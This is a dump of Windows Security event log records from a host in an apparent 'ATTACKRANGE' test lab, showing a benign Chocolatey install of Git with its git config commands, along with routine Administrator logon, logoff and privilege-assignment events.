-EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246136 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x628 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "core.fscache" "true" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246135 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee8 - New Process Name: C:\Program Files\Git\mingw64\bin\git.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd20 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: .\mingw64\bin\git.exe config --system "credential.https://dev.azure.com.useHttpPath" "true" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246134 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa44 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd20 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246133 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd20 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "credential.https://dev.azure.com.useHttpPath" "true" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246132 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb54 - New Process Name: C:\Program Files\Git\mingw64\bin\git.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc4c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: .\mingw64\bin\git.exe config --system "credential.helper" "manager-core" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246131 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd28 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc4c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246130 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc4c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "credential.helper" "manager-core" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246129 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa1c - New Process Name: C:\Program Files\Git\mingw64\bin\git.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd1c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: .\mingw64\bin\git.exe config --system "pull.rebase" "false" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246128 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb1c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd1c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246127 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd1c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "pull.rebase" "false" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246126 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf20 - New Process Name: C:\Program Files\Git\mingw64\bin\git.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe54 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: .\mingw64\bin\git.exe config --system "core.autocrlf" "true" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246125 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd9c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe54 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246124 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe54 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "core.autocrlf" "true" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246123 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe9c - New Process Name: C:\Program Files\Git\mingw64\bin\git.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe10 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: .\mingw64\bin\git.exe config --system "http.sslCAInfo" "C:/Program Files/Git/mingw64/ssl/certs/ca-bundle.crt" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246203 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x731F9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246202 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D007 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246201 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8D007 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246200 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246199 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246198 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8CFD6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246197 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8CFD6 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246196 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8CFD6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246195 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246194 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 